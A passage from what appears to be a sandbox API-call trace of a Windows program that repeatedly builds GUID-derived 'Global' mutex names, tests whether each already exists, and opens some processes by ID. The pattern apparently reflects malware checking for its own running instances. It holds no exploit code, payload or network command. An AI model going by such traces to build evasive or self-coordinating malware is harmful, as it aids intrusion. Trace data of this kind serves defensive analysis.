cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.693] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.693] GetLastError () returned 0xb7 [0127.693] CloseHandle (hObject=0x6cc) returned 1 [0127.794] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.794] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.794] GetLastError () returned 0xb7 [0127.794] CloseHandle (hObject=0x6cc) returned 1 [0127.795] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.795] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.795] GetLastError () returned 0xb7 [0127.795] CloseHandle (hObject=0x6cc) returned 1 [0127.796] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.796] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.796] GetLastError () returned 0x0 [0127.796] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.796] CloseHandle (hObject=0x6cc) returned 1 [0127.796] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.796] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.796] GetLastError () returned 0x0 [0127.796] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.796] CloseHandle (hObject=0x6cc) returned 1 [0127.796] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.796] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.796] GetLastError () returned 0xb7 [0127.796] CloseHandle (hObject=0x6cc) returned 1 [0127.797] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.797] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.797] GetLastError () returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.797] CloseHandle (hObject=0x6cc) returned 1 [0127.804] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.804] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.804] GetLastError () returned 0xb7 [0127.804] CloseHandle (hObject=0x6cc) returned 1 [0127.920] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0127.920] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0127.920] GetLastError () returned 0xb7 [0127.920] CloseHandle (hObject=0x6cc) returned 1 [0127.920] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0127.920] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0127.920] GetLastError () returned 0xb7 [0127.920] CloseHandle (hObject=0x6cc) returned 1 [0127.921] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0127.921] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0127.921] GetLastError () returned 0x0 [0127.921] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0127.921] CloseHandle (hObject=0x6cc) returned 1 [0127.922] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0127.922] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0127.922] GetLastError () returned 0x0 [0127.922] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0127.922] CloseHandle (hObject=0x6cc) returned 1 [0127.922] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0127.922] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0127.922] GetLastError () returned 0xb7 [0127.922] CloseHandle (hObject=0x6cc) returned 1 [0127.923] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0127.923] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0127.923] GetLastError () returned 0x0 [0127.923] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0127.923] CloseHandle (hObject=0x6cc) returned 1 [0127.932] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0127.932] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0127.932] GetLastError () returned 0xb7 [0127.932] CloseHandle (hObject=0x6cc) returned 1 [0128.043] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.043] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.043] GetLastError () returned 0xb7 [0128.043] CloseHandle (hObject=0x6cc) returned 1 [0128.044] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.044] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.044] GetLastError () returned 0xb7 [0128.044] CloseHandle (hObject=0x6cc) returned 1 [0128.044] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.044] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.044] GetLastError () returned 0x0 [0128.044] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.045] CloseHandle (hObject=0x6cc) returned 1 [0128.045] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.045] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.045] GetLastError () returned 0x0 [0128.045] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.045] CloseHandle (hObject=0x6cc) returned 1 [0128.045] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.045] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.045] GetLastError () returned 0xb7 [0128.045] CloseHandle (hObject=0x6cc) returned 1 [0128.046] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.046] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.046] GetLastError () returned 0x0 [0128.046] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.046] CloseHandle (hObject=0x6cc) returned 1 [0128.054] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.054] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.054] GetLastError () returned 0xb7 [0128.054] CloseHandle (hObject=0x6cc) returned 1 [0128.168] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.168] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.168] GetLastError () returned 0xb7 [0128.168] CloseHandle (hObject=0x6cc) returned 1 [0128.168] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.168] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.168] GetLastError () returned 0xb7 [0128.168] CloseHandle (hObject=0x6cc) returned 1 [0128.169] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.169] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.169] GetLastError () returned 0x0 [0128.169] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.169] CloseHandle (hObject=0x6cc) returned 1 [0128.169] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.169] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.169] GetLastError () returned 0x0 [0128.169] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.169] CloseHandle (hObject=0x6cc) returned 1 [0128.170] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.170] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.170] GetLastError () returned 0xb7 [0128.170] CloseHandle (hObject=0x6cc) returned 1 [0128.170] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.170] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.170] GetLastError () returned 0x0 [0128.170] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.170] CloseHandle (hObject=0x6cc) returned 1 [0128.179] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.179] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.179] GetLastError () returned 0xb7 [0128.179] CloseHandle (hObject=0x6cc) returned 1 [0128.293] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.293] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.294] GetLastError () returned 0xb7 [0128.294] CloseHandle (hObject=0x6cc) returned 1 [0128.294] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.294] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.294] GetLastError () returned 0xb7 [0128.294] CloseHandle (hObject=0x6cc) returned 1 [0128.294] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.294] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.295] GetLastError () returned 0x0 [0128.295] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.295] CloseHandle (hObject=0x6cc) returned 1 [0128.295] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.295] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.295] GetLastError () returned 0x0 [0128.295] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.295] CloseHandle (hObject=0x6cc) returned 1 [0128.295] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.295] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.295] GetLastError () returned 0xb7 [0128.295] CloseHandle (hObject=0x6cc) returned 1 [0128.296] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.296] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0128.296] GetLastError () returned 0x0 [0128.296] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0128.296] CloseHandle (hObject=0x6cc) returned 1 [0128.303] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0128.303] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0128.303] GetLastError () returned 0xb7 [0128.303] CloseHandle (hObject=0x6cc) returned 1 [0128.418] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0128.418] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0128.418] GetLastError () returned 0xb7 [0128.418] CloseHandle (hObject=0x6cc) returned 1 [0128.419] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0128.419] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0128.419] GetLastError () returned 0xb7 [0128.419] CloseHandle (hObject=0x6cc) returned 1 [0128.419] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0128.420] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0128.420] GetLastError () returned 0x0 [0128.420] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0128.420] CloseHandle (hObject=0x6cc) returned 1 [0128.420] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0128.420] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0128.420] GetLastError () returned 0x0 [0128.420] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0128.420] CloseHandle (hObject=0x6cc) returned 1 [0128.421] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0128.421] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0128.421] GetLastError () returned 0xb7 [0128.421] CloseHandle (hObject=0x6cc) returned 1 [0128.421] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0128.421] CreateMutexW (lpMutexAttributes=0x2c72b60, 